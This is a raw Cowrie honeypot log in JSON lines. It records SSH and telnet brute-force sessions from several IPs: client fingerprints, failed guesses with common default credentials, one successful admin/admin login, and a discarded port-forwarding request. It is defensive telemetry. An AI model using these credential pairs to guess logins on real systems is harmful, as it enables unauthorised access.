{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:49.435770Z","src_ip":"14.225.205.58","session":"6db3d084b759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansadmin","password":"1234","message":"login attempt [ansadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:50.554867Z","src_ip":"14.225.205.58","session":"6db3d084b759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:29:51.830956Z","src_ip":"14.225.205.58","session":"6db3d084b759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":59792,"dst_ip":"10.17.0.5","dst_port":22,"session":"e35b7fc5af5f","protocol":"ssh","message":"New connection: 201.184.50.251:59792 (10.17.0.5:22) [session: e35b7fc5af5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:34.460282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:34.464082Z","src_ip":"201.184.50.251","session":"e35b7fc5af5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:34.553015Z","src_ip":"201.184.50.251","session":"e35b7fc5af5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456789","message":"login attempt [mysql/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:34.942722Z","src_ip":"201.184.50.251","session":"e35b7fc5af5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:36.034569Z","src_ip":"201.184.50.251","session":"e35b7fc5af5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":54258,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b026fdda76","protocol":"ssh","message":"New connection: 14.225.205.58:54258 (10.17.0.5:22) [session: f3b026fdda76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:45.256703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:45.261688Z","src_ip":"14.225.205.58","session":"f3b026fdda76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:45.531452Z","src_ip":"14.225.205.58","session":"f3b026fdda76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:46.638335Z","src_ip":"14.225.205.58","session":"f3b026fdda76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:47.909999Z","src_ip":"14.225.205.58","session":"f3b026fdda76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":37810,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dc7174b243f","protocol":"ssh","message":"New connection: 41.63.62.103:37810 (10.17.0.5:22) [session: 1dc7174b243f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:48.235008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:48.239440Z","src_ip":"41.63.62.103","session":"1dc7174b243f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:48.513018Z","src_ip":"41.63.62.103","session":"1dc7174b243f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@$$wOrd","message":"login attempt [admin/p@$$wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:49.640702Z","src_ip":"41.63.62.103","session":"1dc7174b243f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:50.917682Z","src_ip":"41.63.62.103","session":"1dc7174b243f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.167.204.213","src_port":38982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47887910950","protocol":"telnet","message":"New connection: 78.167.204.213:38982 (159.203.135.109:23) [session: f47887910950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:30:55.666701Z"}
{"eventid":"cowrie.session.closed","duration":13.558318853378296,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:09.224881Z","src_ip":"78.167.204.213","session":"f47887910950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":48296,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f47bb2799d","protocol":"ssh","message":"New connection: 201.184.50.251:48296 (10.17.0.5:22) [session: f7f47bb2799d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:29.517427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:29.521629Z","src_ip":"201.184.50.251","session":"f7f47bb2799d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:29.625357Z","src_ip":"201.184.50.251","session":"f7f47bb2799d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test.123","message":"login attempt [test/test.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:30.072703Z","src_ip":"201.184.50.251","session":"f7f47bb2799d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:31.181387Z","src_ip":"201.184.50.251","session":"f7f47bb2799d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":60632,"dst_ip":"10.17.0.5","dst_port":22,"session":"2857435cc484","protocol":"ssh","message":"New connection: 14.225.205.58:60632 (10.17.0.5:22) [session: 2857435cc484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:44.616553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:44.620937Z","src_ip":"14.225.205.58","session":"2857435cc484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:44.880740Z","src_ip":"14.225.205.58","session":"2857435cc484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321","message":"login attempt [admin/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:45.954975Z","src_ip":"14.225.205.58","session":"2857435cc484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:47.216474Z","src_ip":"14.225.205.58","session":"2857435cc484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":50226,"dst_ip":"10.17.0.5","dst_port":22,"session":"89996bfcd92f","protocol":"ssh","message":"New connection: 41.63.62.103:50226 (10.17.0.5:22) [session: 89996bfcd92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:56.476564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:56.481733Z","src_ip":"41.63.62.103","session":"89996bfcd92f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:56.744876Z","src_ip":"41.63.62.103","session":"89996bfcd92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:57.829889Z","src_ip":"41.63.62.103","session":"89996bfcd92f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:31:59.095442Z","src_ip":"41.63.62.103","session":"89996bfcd92f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27016,"dst_ip":"10.17.0.5","dst_port":22,"session":"a017ad146047","protocol":"ssh","message":"New connection: 87.251.64.176:27016 (10.17.0.5:22) [session: a017ad146047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:27.805189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:27.809656Z","src_ip":"87.251.64.176","session":"a017ad146047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:27.905909Z","src_ip":"87.251.64.176","session":"a017ad146047","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.193870Z","src_ip":"87.251.64.176","session":"a017ad146047","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.292705Z","session":"a017ad146047","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.390289Z","src_ip":"87.251.64.176","session":"a017ad146047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":36802,"dst_ip":"10.17.0.5","dst_port":22,"session":"c50f1325ade1","protocol":"ssh","message":"New connection: 201.184.50.251:36802 (10.17.0.5:22) [session: c50f1325ade1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.438152Z"}
